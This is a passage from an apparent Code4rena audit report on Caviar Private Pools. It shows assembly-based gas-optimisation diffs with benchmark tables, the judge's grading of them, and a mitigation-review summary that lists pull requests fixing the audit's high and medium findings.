497:            ERC721(nft).safeTransferFrom(msg.sender, address(this), tokenIds[i]);
498:        }
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..b22c813 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -493,8 +493,27 @@ contract PrivatePool is ERC721TokenReceiver {
         // ~~~ Interactions ~~~ //

         // transfer the nfts from the caller
-        for (uint256 i = 0; i < tokenIds.length; i++) {
-            ERC721(nft).safeTransferFrom(msg.sender, address(this), tokenIds[i]);
+        address _nft = nft;
+        assembly {
+            if tokenIds.length {
+                let memptr := mload(0x40)
+                let end := add(tokenIds.offset, mul(0x20, tokenIds.length))
+                let i := tokenIds.offset
+                mstore(0x00, 0x42842e0e)
+                mstore(0x20, caller())
+                mstore(0x40, address())
+                for {} 1 {} {
+                    mstore(0x60, calldataload(i))
+                    let success := call(gas(), _nft, 0x00, 0x1c, 0x64, 0x00, 0x00)
+                    if iszero(success) {
+                        revert(0, 0)
+                    }
+                    i := add(i, 0x20)
+                    if iszero(lt(i, end)) { break }
+                }
+                mstore(0x40, memptr)
+                mstore(0x60, 0x00)
+            }
         }

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L518-L520

Gas Savings for PrivatePool.withdraw, obtained via protocol’s tests: Avg 985 gas

Med Max Avg # calls
Before 81842 81842 62023 5
After 80547 80547 61038 5
File: src/PrivatePool.sol
518:        for (uint256 i = 0; i < tokenIds.length; i++) {
519:            ERC721(_nft).safeTransferFrom(address(this), msg.sender, tokenIds[i]);
520:        }
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..4211c9e 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -515,8 +515,26 @@ contract PrivatePool is ERC721TokenReceiver {
         // ~~~ Interactions ~~~ //

         // transfer the nfts to the caller
-        for (uint256 i = 0; i < tokenIds.length; i++) {
-            ERC721(_nft).safeTransferFrom(address(this), msg.sender, tokenIds[i]);
+        assembly {
+            if tokenIds.length {
+                let memptr := mload(0x40)
+                let end := add(tokenIds.offset, mul(0x20, tokenIds.length))
+                let i := tokenIds.offset
+                mstore(0x00, 0x42842e0e)
+                mstore(0x20, address())
+                mstore(0x40, caller())
+                for {} 1 {} {
+                    mstore(0x60, calldataload(i))
+                    let success := call(gas(), calldataload(0x04), 0x00, 0x1c, 0x64, 0x00, 0x00)
+                    if iszero(success) {
+                        revert(0, 0)
+                    }
+                    i := add(i, 0x20)
+                    if iszero(lt(i, end)) { break }
+                }
+                mstore(0x40, memptr)
+                mstore(0x60, 0x00)
+            }
         }

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L673-L679

Note: PrivatePool.sumWeightsAndValidateProof is called by all the functions below.

Gas Savings for PrivatePool.buy, obtained via protocol’s tests: Avg 33 gas

Med Max Avg # calls
Before 74037 158864 70884 24
After 74037 158864 70851 24

Gas Savings for PrivatePool.sell, obtained via protocol’s tests: Avg 74 gas

Med Max Avg # calls
Before 50139 170448 81969 25
After 50139 170448 81895 25

Gas Savings for PrivatePool.change, obtained via protocol’s tests: Avg 157 gas

Med Max Avg # calls
Before 116432 142008 82138 17
After 116432 142008 81981 17
File: src/PrivatePool.sol
673:        for (uint256 i = 0; i < tokenIds.length; i++) {
674:            // create the leaf for the merkle proof
675:            leafs[i] = keccak256(bytes.concat(keccak256(abi.encode(tokenIds[i], tokenWeights[i]))));
676:
677:            // sum each token weight
678:            sum += tokenWeights[i];
679:        }
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..7d63e8e 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -670,12 +670,25 @@ contract PrivatePool is ERC721TokenReceiver {

         uint256 sum;
         bytes32[] memory leafs = new bytes32[](tokenIds.length);
-        for (uint256 i = 0; i < tokenIds.length; i++) {
-            // create the leaf for the merkle proof
-            leafs[i] = keccak256(bytes.concat(keccak256(abi.encode(tokenIds[i], tokenWeights[i]))));
-
-            // sum each token weight
-            sum += tokenWeights[i];
+        assembly {
+            if mload(tokenIds) {
+                let end := add(add(tokenIds, 0x20), mul(0x20, mload(tokenIds)))
+                let i := add(tokenIds, 0x20)
+                let j := add(tokenWeights, 0x20)
+                let k := add(leafs, 0x20)
+                for {} 1 {} {
+                    mstore(0x00, mload(i))
+                    mstore(0x20, mload(j))
+                    mstore(0x00, keccak256(0x00, 0x40))
+                    let hash := keccak256(0x00, 0x20)
+                    mstore(k, hash)
+                    sum := add(sum, mload(j))
+                    i := add(i, 0x20)
+                    j := add(j, 0x20)
+                    k := add(k, 0x20)
+                    if iszero(lt(i, end)) { break }
+                }
+            }
         }

GasReport output, with all optimizations applied

| src/EthRouter.sol:EthRouter contract |                 |        |        |        |         |
|--------------------------------------|-----------------|--------|--------|--------|---------|
| Deployment Cost                      | Deployment Size |        |        |        |         |
| 1415709                              | 7247            |        |        |        |         |
| Function Name                        | min             | avg    | median | max    | # calls |
| buy                                  | 658             | 190464 | 179510 | 374824 | 7       |
| change                               | 576             | 202568 | 265225 | 279247 | 4       |
| deposit                              | 773             | 29393  | 2361   | 112078 | 4       |
| onERC721Received                     | 698             | 698    | 698    | 698    | 92      |
| receive                              | 55              | 55     | 55     | 55     | 16      |
| sell                                 | 732             | 223981 | 209434 | 388776 | 7       |


| src/Factory.sol:Factory contract |                 |        |        |        |         |
|----------------------------------|-----------------|--------|--------|--------|---------|
| Deployment Cost                  | Deployment Size |        |        |        |         |
| 1403424                          | 7270            |        |        |        |         |
| Function Name                    | min             | avg    | median | max    | # calls |
| create                           | 1641            | 148672 | 161112 | 243941 | 35      |
| ownerOf                          | 0               | 20     | 0      | 622    | 30      |
| predictPoolDeploymentAddress     | 2868            | 2868   | 2868   | 2868   | 1       |
| privatePoolImplementation        | 403             | 403    | 403    | 403    | 1       |
| privatePoolMetadata              | 426             | 426    | 426    | 426    | 1       |
| protocolFeeRate                  | 419             | 1332   | 419    | 2419   | 127     |
| receive                          | 55              | 55     | 55     | 55     | 3       |
| setPrivatePoolImplementation     | 22744           | 22744  | 22744  | 22744  | 133     |
| setPrivatePoolMetadata           | 2599            | 22357  | 22634  | 22634  | 127     |
| setProtocolFeeRate               | 7521            | 9678   | 7521   | 22621  | 7       |
| tokenURI                         | 367468          | 367468 | 367468 | 367468 | 1       |
| withdraw                         | 2729            | 12149  | 11128  | 23611  | 4       |


| src/PrivatePool.sol:PrivatePool contract |                 |       |        |        |         |
|------------------------------------------|-----------------|-------|--------|--------|---------|
| Deployment Cost                          | Deployment Size |       |        |        |         |
| 3097024                                  | 15926           |       |        |        |         |
| Function Name                            | min             | avg   | median | max    | # calls |
| baseToken                                | 404             | 904   | 404    | 2404   | 12      |
| buy                                      | 1123            | 69821 | 73315  | 157662 | 24      |
| buyQuote                                 | 2282            | 5817  | 4282   | 10782  | 28      |
| change                                   | 4723            | 78083 | 111589 | 134100 | 17      |
| changeFee                                | 366             | 366   | 366    | 366    | 2       |
| changeFeeQuote                           | 3070            | 9202  | 10796  | 10796  | 18      |
| deposit                                  | 793             | 62671 | 13721  | 357344 | 8       |
| execute                                  | 3615            | 18550 | 17976  | 35939  | 6       |
| factory                                  | 261             | 261   | 261    | 261    | 2       |
| feeRate                                  | 375             | 375   | 375    | 375    | 5       |
| flashFee                                 | 539             | 1872  | 2539   | 2539   | 3       |
| flashFeeToken                            | 419             | 819   | 419    | 2419   | 5       |
| flashLoan                                | 62820           | 82915 | 82915  | 103011 | 2       |
| initialize                               | 1205            | 62085 | 55637  | 95437  | 147     |
| initialized                              | 418             | 418   | 418    | 418    | 1       |
| merkleRoot                               | 385             | 385   | 385    | 385    | 3       |
| nft                                      | 383             | 383   | 383    | 383    | 6       |
| onERC721Received                         | 840             | 840   | 840    | 840    | 151     |
| payRoyalties                             | 393             | 393   | 393    | 393    | 3       |
| price                                    | 1185            | 3866  | 5185   | 5185   | 7       |
| receive                                  | 55              | 55    | 55     | 55     | 33      |
| sell                                     | 6077            | 81284 | 49660  | 169661 | 25      |
| sellQuote                                | 2407            | 5657  | 4407   | 10907  | 22      |
| setFeeRate                               | 3384            | 6451  | 6459   | 9503   | 4       |
| setMerkleRoot                            | 9425            | 9425  | 9425   | 9425   | 2       |
| setPayRoyalties                          | 3406            | 6164  | 6704   | 9504   | 5       |
| setUseStolenNftOracle                    | 3428            | 5628  | 6729   | 6729   | 3       |
| setVirtualReserves                       | 3568            | 7639  | 8530   | 9930   | 4       |
| useStolenNftOracle                       | 417             | 417   | 417    | 417    | 3       |
| virtualBaseTokenReserves                 | 470             | 470   | 470    | 470    | 8       |
| virtualNftReserves                       | 465             | 465   | 465    | 465    | 8       |
| withdraw                                 | 3774            | 61038 | 80547  | 80547  | 5       |

Alex the Entreprenerd (judge) commented:

At least 2k gas from SLOADs and the Calldata.

Will check the rest.

Alex the Entreprenerd (judge) commented:

[G-01] Cache calldata/memory pointers for complex types to avoid offset calculations 52
Refactor

[G-02] Use calldata instead of memory for function arguments that do not get mutated 4
Low

[G-03] State variables can be cached instead of re-reading them from storage 16
Low

[G-04] Cache state variables outside of loop to avoid reading storage on every iteration 6
Non-Critical

[G-05] Rearrange code to fail early 1
Ignoring

[G-06] x += y/x -= y costs more gas than x = x + y/x = x - y for state variables 2
Non-Critical

[G-07] If statements that use && can be refactored into nested if statements 9
Ignoring

[G-08] Use assembly for loops
Refactor

Bonus of 5 points because fully benchmarked.


Mitigation Review

Introduction

Following the C4 audit, 3 wardens (rvierdiiev, rbserver, and KrisApostolov) reviewed the mitigations for all identified issues. Additional details can be found within the C4 Caviar Private Pools Mitigation Review repository.

Overview of Changes

Summary from the Sponsor:

“All of the mitigations for each issue are isolated to their own pull requests. While each mitigation may work in isolation, we would also like a review of how the mitigations all work together (i.e. an overview of the whole codebase). Of particular concern is the mitigation for H-02 and whether it makes sense or not.”

Mitigation Review Scope

URL Mitigation of Purpose
https://github.com/outdoteth/caviar-private-pools/pull/12 H-01 This fix ensures that the royalty amounts and royalty payments are now done in a single loop
https://github.com/outdoteth/caviar-private-pools/pull/2 H-02, M-15 Adds a check in the execute() function that will revert if the target contract is the baseToken or nft.
https://github.com/outdoteth/caviar-private-pools/pull/10 H-03 This fix uses openzeppelin’s SafeCast library
https://github.com/outdoteth/caviar-private-pools/pull/5 M-02 Adds a baseTokenAmount field to the Change input
https://github.com/outdoteth/caviar-private-pools/pull/6 M-03 Exponentiates the changeFee to make sure that the flashFee amount is correct.
https://github.com/outdoteth/caviar-private-pools/pull/7 M-05 Fix is to skip the approval step if the pool has already been approved to transfer the NFTs from the EthRouter.
https://github.com/outdoteth/caviar-private-pools/pull/8 M-06 Adds the protocol fee to flashLoan fees.
https://github.com/outdoteth/caviar-private-pools/pull/11 M-08 This fix ensures that the royaltyAmount is only incremented if the recipient address is not zero.
https://github.com/outdoteth/caviar-private-pools/pull/13 M-10 Fix is to add a separate fee called protocolChangeFeeRate which can be much higher than protocolFeeRate.
https://github.com/outdoteth/caviar-private-pools/pull/9 M-11 This fix includes the msg.sender in the salt when creating the proxy deployment.
https://github.com/outdoteth/caviar-private-pools/pull/14 M-12 Adds a check to ensure that users cannot create pools with private pool nfts deposited.
https://github.com/outdoteth/caviar-private-pools/pull/19 M-17 Adds a revert if the token does not exist.

Note: see here for details on out of scope findings.

Mitigation Review Summary

Original Issue Status Full Details
H-01 Mitigation Confirmed Reports from rbserver, KrisApostolov, and rvierdiiev
H-02 Mitigation Confirmed with Comments Reports from rbserver, KrisApostolov, and rvierdiiev
H-03 Mitigation Confirmed Reports from rbserver, KrisApostolov, and rvierdiiev
M-02 Mitigation Confirmed Reports from rbserver, KrisApostolov, and rvierdiiev
M-03 Mitigation Confirmed Reports from rbserver, KrisApostolov, and rvierdiiev
M-05 Mitigation Confirmed Reports from rbserver, KrisApostolov, and rvierdiiev
M-06 Mitigation Confirmed Reports from rbserver, KrisApostolov, and rvierdiiev
M-08 Mitigation Confirmed Reports from rbserver, KrisApostolov, and rvierdiiev
M-10 Mitigation Confirmed Reports from rbserver, KrisApostolov, and rvierdiiev
M-11 Mitigation Confirmed Reports from rbserver, KrisApostolov, and rvierdiiev
M-12 Mitigation Confirmed with Comments Reports from rbserver, KrisApostolov, and rvierdiiev
M-15 Mitigation Confirmed with Comments Reports from rbserver, KrisApostolov, and rvierdiiev
M-17 Mitigation Confirmed Reports from rbserver, KrisApostolov, and rvierdiiev

The wardens also surfaced three new Low severity issues:


Disclosures

C4 is an open organization governed by participants in the community.

C4 Audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.